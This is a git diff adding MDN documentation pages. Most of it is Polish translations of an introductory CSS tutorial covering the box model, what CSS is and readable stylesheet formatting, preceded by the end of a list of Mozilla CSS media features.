+ <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-scrollbar-end-backward">-moz-scrollbar-end-backward</a></code> {{gecko_minversion_inline("1.9.2")}}</li>
+ <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-scrollbar-end-forward">-moz-scrollbar-end-forward</a></code> {{gecko_minversion_inline("1.9.2")}}</li>
+ <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-scrollbar-start-backward">-moz-scrollbar-start-backward</a></code> {{gecko_minversion_inline("1.9.2")}}</li>
+ <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-scrollbar-start-forward">-moz-scrollbar-start-forward</a></code> {{gecko_minversion_inline("1.9.2")}}</li>
+ <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-scrollbar-thumb-proportional">-moz-scrollbar-thumb-proportional</a></code> {{gecko_minversion_inline("1.9.2")}}</li>
+ <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-touch-enabled">-moz-touch-enabled</a> </code>{{gecko_minversion_inline("1.9.2")}}</li>
+ <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-windows-accent-color-in-titlebar">-moz-windows-accent-color-in-titlebar</a></code></li>
+ <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-windows-classic">-moz-windows-classic</a></code> {{gecko_minversion_inline("1.9.2")}}</li>
+ <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-windows-compositor">-moz-windows-compositor</a></code> {{gecko_minversion_inline("1.9.2")}}</li>
+ <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-windows-default-theme">-moz-windows-default-theme</a></code> {{gecko_minversion_inline("1.9.2")}}</li>
+ <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-windows-glass">-moz-windows-glass</a></code></li>
+ <li><code><a href="/en-US/docs/Web/CSS/@media/-moz-windows-theme">-moz-windows-theme</a></code> {{gecko_minversion_inline("2.0")}}</li>
+</ul>
+</div>
+
+<h2 id="Other">Other</h2>
+
+<div class="index">
+<ul>
+ <li>{{Cssxref("-moz-alt-content")}} {{Bug("11011")}}</li>
+</ul>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">Microsoft CSS Extensions</a></li>
+ <li><a href="/en-US/docs/Web/CSS/Webkit_Extensions">WebKit CSS Extensions</a></li>
+</ul>
diff --git a/files/pl/web/css/na_początek/bloki/index.html b/files/pl/web/css/na_początek/bloki/index.html
new file mode 100644
index 0000000000..0835e0b145
--- /dev/null
+++ b/files/pl/web/css/na_początek/bloki/index.html
@@ -0,0 +1,70 @@
+---
+title: Bloki
+slug: Web/CSS/Na_początek/Bloki
+tags:
+ - 'CSS:Na_początek'
+translation_of: Learn/CSS/Building_blocks
+---
+<p> </p>
+<p>Ta strona opisuje jak możesz użyć CSS do kontroli przestrzeni, którą zajmuje wyświetlany element.</p>
+<p>W swoim przykładowym dokumencie będziesz zmieniać odstępy i dodawać reguły dekoracyjne.</p>
+<h3 id="Informacja:_Bloki" name="Informacja:_Bloki">Informacja: Bloki</h3>
+<p>Kiedy Twoja przeglądarka wyświetla element, zajmuje on miejsce. Przestrzeń, którą zajmuje element, dzieli się na cztery części.</p>
+<p>W środku istnieje przestrzeń, której element potrzebuje do wyświetlenia swojej zawartości. Wokół tego jest margines wewnętrzny. Wokół tego jest ramka. Wokół tego jest margines zewnętrzny.</p>
+<table> <tbody> <tr> <td style="width: 22em;"> <div style="padding: 0px 2em 2em; background-color: rgb(238, 238, 238); width: 16em;"> <p style="margin: 0px; text-align: center;">margines zewnętrzny</p> <p style="margin: 0px 0px -0.75em; text-align: center;">ramka</p> <div style="border: 4px solid rgb(255, 221, 153); padding: 0px 2em 2em; background-color: rgb(255, 255, 255);"> <p style="text-align: center;">margines wewnętrzny</p> <div style="background-color: rgb(238, 238, 238);"> <p style="margin: 0px; padding: 0px; text-align: center; font-size: 200%; font-weight: bold; color: rgb(153, 153, 153);">element</p> </div> </div> </div> <p><em>Jasny szary wskazuje części układu strony.</em></p> </td> <td> <div style="padding: 0px 2em 2em; background-color: rgb(255, 255, 255); width: 16em;"> <p style="margin: 0px; text-align: center;"> </p> <p style="margin: 0px 0px -0.75em; text-align: center;"> </p> <div style="border: 4px solid rgb(255, 221, 153); padding: 0px 2em 2em; background-color: rgb(255, 255, 255);"> <p style="text-align: center;"> </p> <div style="background-color: rgb(255, 255, 255);"> <p style="margin: 0px; padding: 0px; text-align: center; font-size: 200%; font-weight: bold; color: rgb(153, 153, 153);">element</p> </div> </div> </div> <p><em>Tak wygląda to w przeglądarce.</em></p> </td> </tr> </tbody>
+</table>
+<p>Marginesy wewnętrzne, zewnętrzne i ramka mogą mieć różne wielkości na górze, na dole, po prawej i po lewej stronie elementu. Każdy z nich może mieć wartość zero.</p>
+<p>Margines wewnętrzny ma zawsze ten sam kolor, co tło elementu. Zatem kiedy określasz kolo tła, widzisz ten kolor w tle elementu i jego marginesu wewnętrznego. Margines jest zawsze przezroczysty.</p>
+<table> <tbody> <tr> <td style="width: 22em;"> <div style="padding: 0px 2em 2em; background-color: rgb(238, 238, 238); width: 16em;"> <p style="margin: 0px; text-align: center;">margines zewnętrzny</p> <p style="margin: 0px 0px -0.75em; text-align: center;">ramka</p> <div style="border: 4px solid rgb(255, 221, 153); padding: 0px 2em 2em; background-color: rgb(238, 255, 238);"> <p style="text-align: center;">margines wewnętrzny</p> <div style="background-color: rgb(221, 238, 221);"> <p style="margin: 0px; padding: 0px; text-align: center; font-size: 200%; font-weight: bold; color: rgb(136, 153, 136);">element</p> </div> </div> </div> <p><em>Ten element ma zielone tło.</em></p> </td> <td> <div style="padding: 0px 2em 2em; background-color: rgb(255, 255, 255); width: 16em;"> <p style="margin: 0px; text-align: center;"> </p> <p style="margin: 0px 0px -0.75em; text-align: center;"> </p> <div style="border: 4px solid rgb(255, 221, 153); padding: 0px 2em 2em; background-color: rgb(238, 255, 238);"> <p style="text-align: center;"> </p> <div style="background-color: rgb(238, 255, 238);"> <p style="margin: 0px; padding: 0px; text-align: center; font-size: 200%; font-weight: bold; color: rgb(136, 153, 136);">element</p> </div> </div> </div> <p><em>Tak wygląda to w przeglądarce.</em></p> </td> </tr> </tbody>
+</table>
+<h4 id="Ramki" name="Ramki">Ramki</h4>
+<p>Możesz użyć ramek do dekoracji elementów liniami lub blokami.</p>
+<p>Aby utworzyć jednakową ramkę wokół całego elementu, użyj własności <code>border</code>. Określ szerokość (zwykle w pikselach), styl i kolor.</p>
+<p>Istnieją następujące style:</p>
+<table style="margin-left: 2em;"> <tbody> <tr> <td style="width: 6em;"> <div style="border: 2px solid rgb(68, 170, 68); margin: 0.5em; padding: 0.5em; width: 5em; text-align: center;"><code>solid</code></div> </td> <td style="width: 6em;"> <div style="border: 2px dotted rgb(68, 170, 68); margin: 0.5em; padding: 0.5em; width: 5em; text-align: center;"><code>dotted</code></div> </td> <td style="width: 6em;"> <div style="border: 2px dashed rgb(68, 170, 68); margin: 0.5em; padding: 0.5em; width: 5em; text-align: center;"><code>dashed</code></div> </td> <td style="width: 6em;"> <div style="border: 4px double rgb(68, 170, 68); margin: 0.5em; padding: 0.5em; width: 5em; text-align: center;"><code>double</code></div> </td> </tr> <tr> <td style="width: 6em;"> <div style="border: 2px inset rgb(68, 170, 68); margin: 0.5em; padding: 0.5em; width: 5em; text-align: center;"><code>inset</code></div> </td> <td style="width: 6em;"> <div style="border: 2px outset rgb(68, 170, 68); margin: 0.5em; padding: 0.5em; width: 5em; text-align: center;"><code>outset</code></div> </td> <td style="width: 6em;"> <div style="border: 4px ridge rgb(68, 170, 68); margin: 0.5em; padding: 0.5em; width: 5em; text-align: center;"><code>ridge</code></div> </td> <td style="width: 6em;"> <div style="border: 4px groove rgb(68, 170, 68); margin: 0.5em; padding: 0.5em; width: 5em; text-align: center;"><code>groove</code></div> </td> </tr> </tbody>
+</table>
+<p>Możesz także ustawić styl na <code>none</code> lub <code>hidden</code>, aby usunąć ramkę, lub ustawić kolor na <code>transparent</code>, aby ustawić przezroczystą ramkę bez dotykania układu.</p>
+<p>Aby określić osobno każdą krawędź ramki, użyj własności: <code>border-top</code> (góra), <code>border-right</code> (prawo), <code>border-bottom</code> (dół), <code>border-left</code> (lewo). Możesz ich użyć do określenia ramki tylko po jednej stronie lub różnych ramek dla każdej krawędzi.</p>
+<table style="border: 1px solid rgb(51, 102, 187); padding: 1em; background-color: rgb(255, 255, 244); margin-bottom: 1em;"> <caption>Przykłady </caption> <tbody> <tr> <td>Ta reguła ustawia kolor tła i górną ramkę dla elementów nagłówka: <div style="width: 40em;"> <p>h3 {</p> <pre class="eval"> border-top: 4px solid #7c7; /* mid green */
+ background-color: #efe; /* pale green */
+ color: #050; /* dark green */
+ }
+</pre> </div> <p>Wygląda to tak:</p> <table> <tbody> <tr> <td> <p style="border-top: 4px solid rgb(119, 204, 119); font-size: 133%; font-weight: bold; background-color: rgb(238, 255, 238); color: rgb(0, 85, 0); padding-right: 6em;">Nagłówek w dobrym stylu</p> </td> </tr> </tbody> </table> <p>Dzięki tej regule obrazki są lepiej widoczne dzięki lekko szarej ramce wokół każdego z nich:</p> <div style="width: 30em;"> <p>img {border: 2px solid #ccc;}</p> </div> <p>Rezultat jest następujący:</p> <table> <tbody> <tr> <td>Obrazek:</td> <td style="border: 2px solid rgb(204, 204, 204);"><img alt="Image:Blue-rule.png" class="internal" src="/@api/deki/files/2212/=Blue-rule.png"></td> </tr> </tbody> </table> </td> </tr> </tbody>
+</table>
+<h4 id="Marginesy_zewn.C4.99trzne_i_wewn.C4.99trzne" name="Marginesy_zewn.C4.99trzne_i_wewn.C4.99trzne">Marginesy zewnętrzne i wewnętrzne</h4>
+<p>Użyj marginesów zewnętrznych i wewnętrznych, aby dopasować pozycję elementów i stworzyć przestrzeń wokół nich.</p>
+<p>Użyj własności <code>margin</code> lub <code>padding</code>, aby ustawić szerokość marginesu wewnętrznego lub zewnętrznego.</p>
+<p>Jeżeli podasz tylko jedną wartość, zostanie ona zastosowana wokół całego elementu (góra, prawo, dół i lewo).</p>
+<p>Jeżeli określisz dwie wartości, pierwsza zostanie używa do określenia wymiarów góry i dołu, druga do prawa i lewa.</p>
+<p>Możesz też określić wszystkie cztery szerokości w kolejności: góra, prawo, dół, lewo.</p>
+<table style="border: 1px solid rgb(51, 102, 187); padding: 1em; background-color: rgb(255, 255, 244); margin-bottom: 1em;"> <caption>Przykład </caption> <tbody> <tr> <td>Ta reguła oznacza akapity z klasą <code>remark</code> poprzez dodanie czerwonej ramki wokół nich. <p>Marginesy wewnętrzne ustawione dla wszystkie boków odsuną trochę ramki od tekstu.</p> <p>Lewy margines zewnętrzny odsuwa akapit od reszty tekstu:</p> <div style="width: 30em;"> <p>p.remark {</p> <pre class="eval"> border: 2px solid red;
+ padding: 4px;
+ margin-left: 24px;
+ }
+</pre> </div> <p>Wynik wygląda tak:</p> <table> <tbody> <tr> <td> <p>Oto zwykły akapit.</p> <p style="border: 2px solid red; margin: 0px 0px 0px 24px; padding: 4px 6em 4px 4px;">A to akapit z klasą <code>remark</code>.</p> </td> </tr> </tbody> </table> </td> </tr> </tbody>
+</table>
+<table style="border: 1px solid rgb(51, 102, 187); padding: 1em; background-color: rgb(244, 244, 244); margin-bottom: 1em;"> <caption>Więcej szczegółów </caption> <tbody> <tr> <td>Kiedy używasz marginesów zewnętrznych i wewnętrznych do określania, jak układane są elementu, Twoje reguły stylu wpływają na domyślne wartości przeglądarki w sposób, który może być bardzo skomplikowany. <p>Różne przeglądarki układają elementy na różne sposoby. Wynik może wyglądać podobnie, póki Twój arkusz stylów nic nie zmienia. Czasem może to dać dość zaskakujące rezultaty.</p> <p>Aby uzyskać spodziewany rezultat, możesz chcieć zmienić znaczniki dokumentu. Następna strona tego kursu tłumaczy, jak to zrobić.</p> <p>Aby dowiedzieć się więcej o marginesach i ramkach, zajrzyj do specyfikacji CSS do rozdziału <a class="external" href="http://www.w3.org/TR/CSS21/box.html">model blokowy</a>.</p> </td> </tr> </tbody>
+</table>
+<h3 id="Zadanie:_Dodawanie_ramek" name="Zadanie:_Dodawanie_ramek">Zadanie: Dodawanie ramek</h3>
+<p>Wyedytuj swój plik CSS. Dodaj poniższą regułę, aby rysować linię nad każdym nagłówkiem:</p>
+<div style="width: 30em;">
+<p>h3 {border-top: 1px solid gray;}</p>
+</div>
+<p>Jeżeli podjąłeś(aś) wyzwanie z poprzedniej strony, zmodyfikuj stworzoną regułę; w przeciwnym wypadku dodaj nową regułę, która doda przestrzeń pod każdym elementem listy:</p>
+<div style="width: 30em;">
+<p>li {</p>
+<pre class="eval"> list-style: lower-roman;
+ margin-bottom: 8px;
+ }
+</pre>
+</div>
+<p>Odśwież okno przeglądarki, aby zobaczyć wynik:</p>
+<table style="border: 2px outset rgb(51, 102, 187); padding: 1em; background-color: white;"> <tbody> <tr> <td> <p style="border-top: 1px solid gray; font-weight: bold; font-size: 133%; margin-bottom: 0.3em; padding-top: 0.4em; padding-bottom: 0.16em;">(A) Oceany</p> <ul style="list-style-type: disc;"> <li style="list-style-type: lower-roman; margin-bottom: 8px;">Arktyczny</li> <li style="list-style-type: lower-roman; margin-bottom: 8px;">Atlantycki</li> <li style="list-style-type: lower-roman; margin-bottom: 8px;">Spokojny</li> <li style="list-style-type: lower-roman; margin-bottom: 8px;">Indyjski</li> <li style="list-style-type: lower-roman; margin-bottom: 8px;">Południowy</li> </ul> <p style="border-top: 1px solid gray; padding: 0.4em 4em 0.16em 0pt; font-weight: bold; font-size: 133%; margin-top: 1em; margin-bottom: 0.3em;">(B) Numbered paragraphs</p> <p><strong>1: </strong>Lorem ipsum</p> <p><strong>2: </strong>Dolor sit</p> <p><strong>3: </strong>Amet consectetuer</p> <p><strong>4: </strong>Magna aliquam</p> <p><strong>5: </strong>Autem veleum</p> </td> </tr> </tbody>
+</table>
+<p> </p>
+<table style="border: 1px solid rgb(51, 102, 187); padding: 1em; background-color: rgb(255, 255, 244); margin-bottom: 1em;"> <caption>Wyzwanie </caption> <tbody> <tr> <td>Dodaj regułę do swojego arkusza stylów, która stworzy szeroką ramkę wokół wszystkich oceanów w kolorze, który kojarzy Ci się z morzem — coś w stylu: <table style="border: 2px outset rgb(51, 102, 187); padding: 1em; background-color: white;"> <tbody> <tr> <td> <p style="border-top: 1px solid gray; font-weight: bold; font-size: 133%; margin-bottom: 0.3em; padding-top: 0.4em; padding-bottom: 0.16em;">(A) The oceans</p> <div style="border: 12px solid rgb(102, 153, 187); padding-left: 1em;"> <ul style="list-style-type: lower-roman;"> <li style="margin-bottom: 8px;">Arctic</li> <li style="margin-bottom: 8px;">Atlantic</li> <li style="margin-bottom: 8px;">Pacific</li> <li style="margin-bottom: 8px;">Indian</li> <li style="margin-bottom: 8px;">Southern</li> </ul> </div> <p style="border-top: 1px solid gray; padding: 0.4em 4em 0.16em 0pt; font-weight: bold; font-size: 133%; margin-top: 1em; margin-bottom: 0.3em;">(B) Numbered paragraphs</p> <p><strong>. . .</strong></p> </td> </tr> </tbody> </table> <p>(Nie musisz uzyskać identycznej szerokości ani koloru jak tutaj.)</p> </td> </tr> </tbody>
+</table>
+<h4 id="Co_dalej.3F" name="Co_dalej.3F">Co dalej?</h4>
+<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a href="/Talk:pl/CSS/Na_pocz%C4%85tek/Bloki" title="Talk:pl/CSS/Na_początek/Bloki">Dyskusji</a>.</p>
+<p>Poprzez określenie marginesów modyfikujesz układ dokumentu. Na następnej stronie nauczysz się zmieniać układ w inny sposób: <strong><a href="/pl/CSS/Na_pocz%C4%85tek/Uk%C5%82ad" title="pl/CSS/Na_początek/Układ">Układ</a></strong></p>
+<p>{{ languages( { "en": "en/CSS/Getting_Started/Boxes", "fr": "fr/CSS/Premiers_pas/Bo\u00eetes", "pt": "pt/CSS/Como_come\u00e7ar/Caixas" } ) }}</p>
diff --git a/files/pl/web/css/na_początek/czym_jest_css/index.html b/files/pl/web/css/na_początek/czym_jest_css/index.html
new file mode 100644
index 0000000000..2472a575c4
--- /dev/null
+++ b/files/pl/web/css/na_początek/czym_jest_css/index.html
@@ -0,0 +1,132 @@
+---
+title: Czym jest CSS
+slug: Web/CSS/Na_początek/Czym_jest_CSS
+tags:
+ - 'CSS:Na_początek'
+translation_of: Learn/CSS/First_steps/How_CSS_works
+---
+<p> </p>
+
+<p>Ta strona opisuje, czym jest CSS.</p>
+
+<h3 id="Informacja:_Czym_jest_CSS.3F" name="Informacja:_Czym_jest_CSS.3F">Informacja: Czym jest CSS?</h3>
+
+<p>CSS jest językiem określającym, jak dokumenty mają być prezentowane użytkownikowi.</p>
+
+<p><em>Dokument</em>jest to kolekcja informacji ułożona w strukturę przy użyciu<em>języka znaczników</em>.</p>
+
+<table style="background-color: #fffff4; border: 1px solid #36b; margin-bottom: 1em; padding: 1em;">
+ <caption>Przykłady</caption>
+ <tbody>
+ <tr>
+ <td>
+ <ul>
+ <li>Strona, taka jak ta, jest dokumentem.<br>
+ Informacje, które widzisz na stronie, zazwyczaj są ułożone w strukturę przy użyciu języka znaczników HTML (HyperText Markup Language).</li>
+ </ul>
+
+ <ul>
+ <li>Okienko dialogowe w aplikacji Mozilli jest dokumentem.<br>
+ Kontrolki interfejsu użytkownika, które widzisz w okienku dialogowym Mozilli, są ułożone w strukturę przy użyciu języka znaczników XUL (XML User-interface Language).</li>
+ </ul>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>W tym kursie bloki oznaczone <strong>Więcej szczegółów</strong>, jak poniższy, zawierają informacje, których znajomość nie jest wymagana do dalszego korzystania z kursu. Jeżeli się spieszysz, możesz spokojnie pominąć te bloki i na przykład wrócić do nich później.</p>
+
+<table style="background-color: #f4f4f4; border: 1px solid #36b; margin-bottom: 1em; padding: 1em;">
+ <caption>Więcej szczegółów</caption>
+ <tbody>
+ <tr>
+ <td>
+ <p>Dokument nie jest tym samym co plik. Dokument może, ale nie musi być składowany w pliku.</p>
+
+ <p>Na przykład dokument, który w tym momencie czytasz, nie jest zapisany w pliku. Kiedy Twoja przeglądarka prosi o stronę, serwer odpytuje bazę danych i generuje dokument, składając jego części z wielu plików i fragmentów z bazy danych. Jednak w trakcie tego kursu będziesz pracować z dokumentami składowanymi w plikach.</p>
+
+ <p>Więcej informacji na temat dokumentów i języków znaczników znajdziesz w innych częściach tej strony — na przykład:</p>
+
+ <table style="background-color: inherit; margin-left: 2em;">
+ <tbody>
+ <tr>
+ <td><a href="pl/HTML">HTML</a></td>
+ <td>o stronach internetowych</td>
+ </tr>
+ <tr>
+ <td><a href="pl/XML">XML</a></td>
+ <td>o strukturalnych dokumentach</td>
+ </tr>
+ <tr>
+ <td><a href="pl/SVG">SVG</a></td>
+ <td>o grafice</td>
+ </tr>
+ <tr>
+ <td><a href="pl/XUL">XUL</a></td>
+ <td>o interfejsie użytkownika w Mozilli</td>
+ </tr>
+ </tbody>
+ </table>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p><em>Prezentowanie</em>dokumentu użytkownikowi oznacza skonwertowanie go do postaci, w jakiej będzie on przydatny użytkownikowi. Mozilla prezentuje dokumenty wizualnie — na przykład na ekranie komputera, obrazie wyświetlanym przez projektor lub wydruku.</p>
+
+<table style="background-color: #f4f4f4; border: 1px solid #36b; margin-bottom: 1em; padding: 1em;">
+ <caption>Więcej szczegółów</caption>
+ <tbody>
+ <tr>
+ <td>CSS jest przeznaczony nie tylko dla przeglądarek i prezentacji graficznych. W formalnej terminologii CSS program, który prezentuje dokumenty użytkownikowi, nazywany jest<em>agentem</em> (ang. User Agent - UA). Przeglądarka jest tylko jednym z wielu rodzajów UA. Jednakże część pierwsza tego kursu skupia się na pracy z językiem CSS w przeglądarce.
+ <p>Formalne definicje terminologii związanej z CSS znajdziesz w Specyfikacji CSS w dziale <a class="external" href="http://www.w3.org/TR/CSS21/conform.html#q1">Definicje</a>.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Zadanie:_Tworzenie_dokumentu" name="Zadanie:_Tworzenie_dokumentu">Zadanie: Tworzenie dokumentu</h3>
+
+<p>Stwórz nowy katalog, a w nim nowy plik. Ten plik będzie Twoim dokumentem.</p>
+
+<p>Skopiuj i wklej poniższy kod HTML. Zapisz plik pod nazwą <code>doc1.html</code></p>
+
+<div style="width: 40em;">
+<pre class="brush: html language-html"><code class="language-html"><span class="doctype token">&lt;!DOCTYPE html&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>UTF-8<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>Sample document<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>strong</span><span class="punctuation token">&gt;</span></span>C<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>strong</span><span class="punctuation token">&gt;</span></span>ascading
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>strong</span><span class="punctuation token">&gt;</span></span>S<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>strong</span><span class="punctuation token">&gt;</span></span>tyle
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>strong</span><span class="punctuation token">&gt;</span></span>S<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>strong</span><span class="punctuation token">&gt;</span></span>heets
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+</div>
+
+<p>Otwórz nowy panel lub nowe okno w Twojej przeglądarce i otwórz ten plik.</p>
+
+<p>Powinieneś zobaczyć tekst zaczynający się od pogrubionych liter:</p>
+
+<table style="border: 2px outset #36b; padding: 1em;">
+ <tbody>
+ <tr>
+ <td><strong>C</strong>ascading <strong>S</strong>tyle <strong>S</strong>heets</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>To, co widzisz w przeglądarce, może się trochę różnić z powodu ustawień przeglądarki oraz tego wiki. Jeżeli istnieją jakieś różnice w kroju pisma, odstępach i kolorach, które widzisz, nie jest to żaden problem.</p>
+
+<h4 id="Co_dalej.3F" name="Co_dalej.3F">Co dalej?</h4>
+
+<p>Jeżeli masz problemy ze zrozumieniem tej strony lub chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>.</p>
+
+<p>Twój dokument nie używa jeszcze CSS. Na następnej stronie zaczniesz używać CSS do określania stylów: <strong><a href="pl/CSS/Na_pocz%c4%85tek/Po_co_u%c5%bcywa%c4%87_CSS">Po co używać CSS</a></strong></p>
+
+<p>{{ languages( { "en": "en/CSS/Getting_Started/What_is_CSS", "fr": "fr/CSS/Premiers_pas/Pr\u00e9sentation_des_CSS", "it": "it/Conoscere_i_CSS/Che_cosa_sono_i_CSS", "ja": "ja/CSS/Getting_Started/What_is_CSS", "pt": "pt/CSS/Como_come\u00e7ar/O_que_\u00e9_CSS", "zh-cn": "cn/CSS/Getting_Started/What_is_CSS" } ) }}</p>
diff --git a/files/pl/web/css/na_początek/czytelny_css/index.html b/files/pl/web/css/na_początek/czytelny_css/index.html
new file mode 100644
index 0000000000..ca79229c4c
--- /dev/null
+++ b/files/pl/web/css/na_początek/czytelny_css/index.html
@@ -0,0 +1,153 @@
+---
+title: Czytelny CSS
+slug: Web/CSS/Na_początek/Czytelny_CSS
+tags:
+ - 'CSS:Na_początek'
+translation_of: Learn/CSS/Introduction_to_CSS/Syntax#Beyond_syntax_make_CSS_readable
+---
+<p>
+</p><p>Ta strona opisuje styl i gramatykę języka CSS.
+</p><p>Zmienisz wygląd swojego pliku CSS, aby był bardziej czytelny.
+</p>
+<h3 id="Informacja:_Czytelny_CSS" name="Informacja:_Czytelny_CSS"> Informacja: Czytelny CSS </h3>
+<p>Możesz dodać białe znaki i komentarze do swojego arkusza stylów, aby uczynić go bardziej czytelnym.
+Możesz też grupować selektory razem, kiedy te same reguły stylów dotyczą wybranych elementów w różny sposób.
+</p>
+<h4 id="Bia.C5.82e_znaki" name="Bia.C5.82e_znaki"> Białe znaki </h4>
+<p>Białe znaki to spacje, tabulatory i nowe linie.
+Dzięki białym znakom arkusz stylów będzie bardzie czytelny.
+</p><p>Twój przykładowy plik CSS zawiera w tej chwili jedną regułę na linię i prawie minimalną liczbę białych znaków. W złożonych arkuszach stylów taki układ byłby bardzo trudny do czytania, utrudniając zarządzanie arkuszem.
+</p><p>Styl, który wybierzesz, zazwyczaj zależy od prywatnych przyzwyczajeń, ale Twój arkusz stylów może być częścią projektu, którym zajmuje się więcej osób. W takiej sytuacji przyjmuje się pewne konwencje.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Przykłady
+</caption><tbody><tr>
+<td> Niektórzy ludzie lubią zwięzły układ, którego używaliśmy do tej pory, dzieląc linię jedynie wtedy, kiedy staje się ona bardzo długa:
+<pre>
+.carrot {color: orange; text-decoration: underline; font-style: italic;}
+</pre>
+<p>Inni wolą układać jedną własność-wartość na linię:
+</p>
+<div style="width: 45em;">
+<p>.carrot
+{
+color: orange;
+text-decoration: underline;
+font-style: italic;
+}
+</p>
+</div>
+<p>Inni używają wcięć — często używane są dwie spacje, cztery spacje lub tabulator:
+</p>
+<div style="width: 45em;">
+<p>.carrot {
+</p>
+<pre class="eval"> color: orange;
+ text-decoration: underline;
+ font-style: italic;
+</pre>
+<p>}
+</p>
+</div>
+<p>Inni wolą ustawiać wszystko względem pionowej osi (jednak taki układ jest trudny w zarządzaniu):
+</p>
+<div style="width: 45em;">
+<p>.carrot
+</p>
+<pre class="eval"> {
+ color  : orange;
+ text-decoration : underline;
+ font-style  : italic;
+ }
+</pre>
+</div>
+<p>Tworząc wcięcia jedni wolą używać tabulatorów, inni zaś tylko spacji.
+</p>
+</td></tr></tbody></table>
+<h4 id="Komentarze" name="Komentarze"> Komentarze </h4>
+<p>Komentarze w CSS zaczynają się od <code>/*</code>, a kończą się na <code>*/</code>.
+</p><p>Możesz używać komentarzy, aby komentować elementy swojego arkusza stylów oraz do <i>wykomentowywania</i> części aktualnie nieużywanych.
+</p><p>Aby wykomentować części arkusza stylów, umieść tę część w komentarzu, a przeglądarka ją zignoruje.
+Należy uważać, gdzie zaczyna, a gdzie kończy się komentarz.
+Dalsza część arkusza stylów musi mieć poprawną składnię.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Przykład
+</caption><tbody><tr>
+<td><div style="width: 45em;">
+<p>/* styl dla początkowej litery C w pierwszym paragrafie */
+.carrot {
+</p>
+<pre class="eval"> color: orange;
+ text-decoration: underline;
+ font-style: italic;
+ }
+</pre>
+</div>
+</td></tr></tbody></table>
+<h4 id="Grupy_Selektor.C3.B3w" name="Grupy_Selektor.C3.B3w"> Grupy Selektorów </h4>
+<p>Kiedy wiele selektorów ma ten sam styl, możesz określić grupę selektorów, oddzielając je przecinkami.
+Deklaracja zostanie zastosowana do wszystkich wybranych elementów.
+</p><p>W innych miejscach arkusza stylów możesz określić te same selektory ponownie, aby nadać im indywidualne reguły.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Przykład
+</caption><tbody><tr>
+<td> Ta reguła sprawia, że elementy <small>H1</small>, <small>H2</small> oraz <small>H3</small> są tego samego koloru.
+<p>Wygodnie jest określić kolor tylko w jednym miejscu, na wypadek, gdyby miał być zmieniany.
+</p>
+<div style="width: 30em;">
+<p>/* kolory nagłówków */
+h1, h2, h3 {color: navy;}
+</p>
+</div>
+</td></tr></tbody></table>
+<h3 id="Zadanie:_Dodawanie_komentarzy_i_poprawianie_uk.C5.82adu" name="Zadanie:_Dodawanie_komentarzy_i_poprawianie_uk.C5.82adu"> Zadanie: Dodawanie komentarzy i poprawianie układu </h3>
+<p>Wyedytuj swój plik CSS i upewnij się, że posiada on te reguły (w dowolnej kolejności):
+</p>
+<div style="width: 30em;">
+<p>strong {color: red;}
+.carrot {color: orange;}
+.spinach {color: green;}
+</p>
+<ol><li>first {font-style: italic;}
+</li></ol>
+<p>p {color: blue;}
+</p>
+</div>
+<p>Spraw, aby stał się bardziej czytelny, zmieniając kolejność w sposób, który uznasz za logiczny oraz dodając białe znaki i komentarze w taki sposób, jaki uznasz za najlepszy.
+</p><p>Zapisz ten plik i odśwież stronę w przeglądarce, aby upewnić się, że Twoje zmiany nie wpłynęły na działanie arkusza stylów:
+</p>
+<table style="border: 2px outset #36b; padding: 1em;">
+<tbody><tr>
